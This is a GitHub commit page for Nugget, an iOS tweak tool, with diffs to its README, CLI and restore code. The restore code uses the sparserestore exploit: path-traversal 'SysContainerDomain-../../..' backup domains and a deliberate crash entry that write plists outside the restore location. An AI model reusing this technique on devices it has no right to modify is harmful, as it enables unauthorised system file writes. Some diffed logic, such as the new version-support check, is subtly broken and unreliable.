Skip to content

Commit

Permalink
3.0
Browse files Browse the repository at this point in the history
  • Loading branch information
LoveJessyChen committed Sep 30, 2024
1 parent d2050e6 commit 61dc195
Show file tree
Hide file tree
Showing 26 changed files with 6,244 additions and 3,458 deletions.
682 changes: 661 additions & 21 deletions LICENSE

Large diffs are not rendered by default.

7 changes: 6 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
# Nugget
Unlock your device's full potential! Works on all versions iOS 17.0+
Unlock your device's full potential! Works on all versions iOS 17.0-18.1 beta 4

Sparserestore was patched in iOS 18.1 beta 5. It will not be supported, please stop asking.

This uses the sparserestore exploit to write to files outside of the intended restore location, like mobilegestalt.

Expand All @@ -11,6 +13,7 @@ Note: I am not responsible if your device bootloops. Please back up your data be
- Change Device Model Name (ie what shows in the Settings app)
- Enable Boot Chime
- Enable Charge Limit
- Enable Tap to Wake on unsupported devices (ie iPhone SEs)
- Enable iPhone 16 Settings
- Enable Collision SOS
- Enable Stage Manager
Expand All @@ -24,6 +27,8 @@ Note: I am not responsible if your device bootloops. Please back up your data be
- Enabling lock screen clock animation, lock screen page duplication button, and more!
- Disabling the new iOS 18 Photos UI
- EU Enabler
- Springboard Options (from Cowabunga Lite)
- Internal Options (from Cowabunga Lite)

## Running the Program
Requirements:
Expand Down
File renamed without changes.
File renamed without changes.
File renamed without changes.
79 changes: 31 additions & 48 deletions exploit/restore.py → Sparserestore/restore.py
Original file line number Diff line number Diff line change
@@ -1,35 +1,23 @@
from . import backup, perform_restore
from pymobiledevice3.lockdown import LockdownClient
import os

class FileToRestore:
def __init__(self, contents: str, restore_path: str, restore_name: str, owner: int = 501, group: int = 501):
def __init__(self, contents: str, restore_path: str, owner: int = 501, group: int = 501):
self.contents = contents
self.restore_path = restore_path
self.restore_name = restore_name
self.owner = owner
self.group = group

# files is a list of FileToRestore objects
def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownClient = None):
# create the files to be backed up
files_list = [
backup.Directory("", "RootDomain"),
backup.Directory("Library", "RootDomain"),
backup.Directory("Library/Preferences", "RootDomain"),
]
# create the links
for file_num in range(len(files)):
files_list.append(backup.ConcreteFile(
f"Library/Preferences/temp{file_num}",
"RootDomain",
owner=files[file_num].owner,
group=files[file_num].group,
contents=files[file_num].contents,
inode=file_num
))
sorted_files = sorted(files, key=lambda x: x.restore_path, reverse=True)
# add the file paths
for file_num in range(len(files)):
file = files[file_num]
last_domain = ""
for file in sorted_files:
base_path = "/var/backup"
# set it to work in the separate volumes (prevents a bootloop)
if file.restore_path.startswith("/var/mobile/"):
Expand All @@ -39,29 +27,24 @@ def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownCl
base_path = "/private/var/mobile/backup"
elif file.restore_path.startswith("/private/var/"):
base_path = "/private/var/backup"
files_list.append(backup.Directory(
"",
f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}",
owner=file.owner,
group=file.group
))
# don't append the directory if it has already been added (restore will fail)
path, name = os.path.split(file.restore_path)
domain_path = f"SysContainerDomain-../../../../../../../..{base_path}{path}/"
if last_domain != domain_path:
files_list.append(backup.Directory(
"",
f"{domain_path}/",
owner=file.owner,
group=file.group
))
last_domain = domain_path
files_list.append(backup.ConcreteFile(
"",
f"SysContainerDomain-../../../../../../../..{base_path}{file.restore_path}{file.restore_name}",
f"{domain_path}/{name}",
owner=file.owner,
group=file.group,
contents=b"",
inode=file_num
contents=file.contents
))
# break the hard links
for file_num in range(len(files)):
files_list.append(backup.ConcreteFile(
"",
f"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp{file_num}",
owner=501,
group=501,
contents=b"",
)) # Break the hard link
files_list.append(backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""))

# create the backup
Expand All @@ -81,10 +64,10 @@ def restore_file(fp: str, restore_path: str, restore_name: str, reboot: bool = F

# create the backup
back = backup.Backup(files=[
backup.Directory("", "RootDomain"),
backup.Directory("Library", "RootDomain"),
backup.Directory("Library/Preferences", "RootDomain"),
backup.ConcreteFile("Library/Preferences/temp", "RootDomain", owner=501, group=501, contents=contents, inode=0),
# backup.Directory("", "HomeDomain"),
# backup.Directory("Library", "HomeDomain"),
# backup.Directory("Library/Preferences", "HomeDomain"),
# backup.ConcreteFile("Library/Preferences/temp", "HomeDomain", owner=501, group=501, contents=contents, inode=0),
backup.Directory(
"",
f"SysContainerDomain-../../../../../../../..{base_path}{restore_path}",
Expand All @@ -96,16 +79,16 @@ def restore_file(fp: str, restore_path: str, restore_name: str, reboot: bool = F
f"SysContainerDomain-../../../../../../../..{base_path}{restore_path}{restore_name}",
owner=501,
group=501,
contents=b"",
inode=0
contents=contents#b"",
# inode=0
),
backup.ConcreteFile(
"",
"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp",
owner=501,
group=501,
contents=b"",
), # Break the hard link
# backup.ConcreteFile(
# "",
# "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp",
# owner=501,
# group=501,
# contents=b"",
# ), # Break the hard link
backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""),
])

Expand Down
67 changes: 40 additions & 27 deletions cli_app.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
from exploit.restore import restore_files, FileToRestore, restore_file
from tweaks.tweaks import tweaks, TweakModifyType, FeatureFlagTweak, EligibilityTweak
from Sparserestore.restore import restore_files, FileToRestore, restore_file
from tweaks.tweaks import tweaks, TweakModifyType, FeatureFlagTweak, EligibilityTweak, AITweak, BasicPlistTweak, RdarFixTweak
from tweaks.basic_plist_locations import FileLocationsList
from devicemanagement.constants import Device

from pymobiledevice3.exceptions import PyMobileDevice3Exception
Expand Down Expand Up @@ -48,7 +49,7 @@ def get_apply_number(num: int) -> int:
'---' \\ \\ / \\ \\ / `----'
`--`-' `--`-'
""")
print("CLI v2.2")
print("CLI v3.0")
print("by LeminLimez")
print("Thanks @disfordottie for the clock animation and @lrdsnow for EU Enabler\n")
print("Please back up your device before using!")
Expand All @@ -62,6 +63,7 @@ def get_apply_number(num: int) -> int:
ld = create_using_usbmux(serial=current_device.serial)
vals = ld.all_values
device = Device(uuid=current_device.serial, name=vals['DeviceName'], version=vals['ProductVersion'], model=vals['ProductType'], locale=ld.locale, ld=ld)
tweaks["RdarFix"].get_rdar_mode()
except Exception as e:
print(traceback.format_exc())
input("Press Enter to continue...")
Expand Down Expand Up @@ -102,6 +104,8 @@ def get_apply_number(num: int) -> int:
# create the other plists
flag_plist: dict = {}
eligibility_files = None
ai_file = None
basic_plists: dict = {}

# verify the device credentials before continuing
if gestalt_plist["CacheExtra"]["qNNddlUK+B/YlooNoymwgA"] != device.version or gestalt_plist["CacheExtra"]["0+nc/Udy4WNG8S+Q7a/s1A"] != device.model:
Expand All @@ -120,24 +124,41 @@ def get_apply_number(num: int) -> int:
elif isinstance(tweak, EligibilityTweak):
tweak.set_region_code(device.locale[-2:])
eligibility_files = tweak.apply_tweak()
elif isinstance(tweak, AITweak):
ai_file = tweak.apply_tweak()
elif isinstance(tweak, BasicPlistTweak) or isinstance(tweak, RdarFixTweak):
basic_plists = tweak.apply_tweak(basic_plists)
else:
gestalt_plist = tweak.apply_tweak(gestalt_plist)

# create the restore file list
files_to_restore = [
FileToRestore(
contents=plistlib.dumps(gestalt_plist),
restore_path="/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/",
restore_name="com.apple.MobileGestalt.plist"
restore_path="/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist",
),
FileToRestore(
contents=plistlib.dumps(flag_plist),
restore_path="/var/preferences/FeatureFlags/",
restore_name="Global.plist"
restore_path="/var/preferences/FeatureFlags/Global.plist",
)
]
if eligibility_files != None:
files_to_restore += eligibility_files
if ai_file != None:
files_to_restore.append(ai_file)
for location, plist in basic_plists.items():
files_to_restore.append(FileToRestore(
contents=plistlib.dumps(plist),
restore_path=location.value
))
# reset basic tweaks
if resetting:
empty_data = plistlib.dumps({})
for location in FileLocationsList:
files_to_restore.append(FileToRestore(
contents=empty_data,
restore_path=location.value
))
# restore to the device
try:
restore_files(files=files_to_restore, reboot=True, lockdown_client=device.ld)
Expand All @@ -152,8 +173,7 @@ def get_apply_number(num: int) -> int:
try:
restore_files(files=[FileToRestore(
contents=b"",
restore_path="/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/",
restore_name="com.apple.MobileGestalt.plist"
restore_path="/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist",
)], reboot=True, lockdown_client=device.ld)
except Exception as e:
print(traceback.format_exc())
Expand All @@ -164,31 +184,23 @@ def get_apply_number(num: int) -> int:
# exit the panel
print("Goodbye!")
running = False
elif page == 42:
plist_data = {
"canvas_height": 1792,
"canvas_width": 828
}
restore_files(
files=[FileToRestore(
contents=plistlib.dumps(plist_data),
restore_path="/private/var/mobile/Library/Preferences/",
restore_name="com.apple.iokit.IOMobileGraphicsFamily.plist"
)], reboot=True, lockdown_client=device.ld
)
else:
tweak = list(tweaks.values())[page-1]
if page > 0 and page <= num_tweaks and tweak.is_compatible(device.version):
if tweak.edit_type == TweakModifyType.TEXT:
# text input
# for now it is just for set model, deal with a fix later
print("\n\nSet Model Name")
print("Leave blank to turn off custom name.\n")
name = input("Enter Model Name: ")
if name == "":
inp_txt = ""
print(f"\n\n{tweak.label}")
print("Leave blank to turn off.\n")
if tweak.label == "Set Device Model Name":
inp_txt = "Enter Model Name: "
elif tweak.label == "Set Lock Screen Footnote Text":
inp_txt = "Enter Footnote: "
new_txt = input(inp_txt)
if new_txt == "":
tweak.set_enabled(False)
else:
tweak.set_value(name)
tweak.set_value(new_txt)
elif tweak.edit_type == TweakModifyType.PICKER:
# pick between values
print("\n\nSelect a value.")
Expand All @@ -204,6 +216,7 @@ def get_apply_number(num: int) -> int:
picker_choice = int(input("Select option: "))
if picker_choice > 0 and picker_choice <= len(values):
tweak.set_selected_option(picker_choice-1)
tweaks["RdarFix"].set_di_type(values[tweak.get_selected_option()])
elif picker_choice == len(values)+1:
tweak.set_enabled(False)
else:
Expand Down
Binary file removed credits/.DS_Store
Binary file not shown.
Binary file removed devicemanagement/.DS_Store
Binary file not shown.
13 changes: 12 additions & 1 deletion devicemanagement/constants.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,14 +2,25 @@
from pymobiledevice3.lockdown import LockdownClient

class Device:
def __init__(self, uuid: int, name: str, version: str, model: str, locale: str, ld: LockdownClient):
def __init__(self, uuid: int, name: str, version: str, build: str, model: str, locale: str, ld: LockdownClient):
self.uuid = uuid
self.name = name
self.version = version
self.build = build
self.model = model
self.locale = locale
self.ld = ld

def supported(self) -> bool:
parsed_ver: Version = Version(self.version)
if (parsed_ver < Version("17.0")) or (parsed_ver > Version("18.1")):
return False
if (parsed_ver == Version("18.1")
and self.build != "22B5007p" and self.build == "22B5023e"
and self.build == "22B5034e" and self.build == "22B5045g"):
return False
return True

class Version:
def __init__(self, major: int, minor: int = 0, patch: int = 0):
self.major = major
Expand Down
Loading

0 comments on commit 61dc195

Please sign in to comment.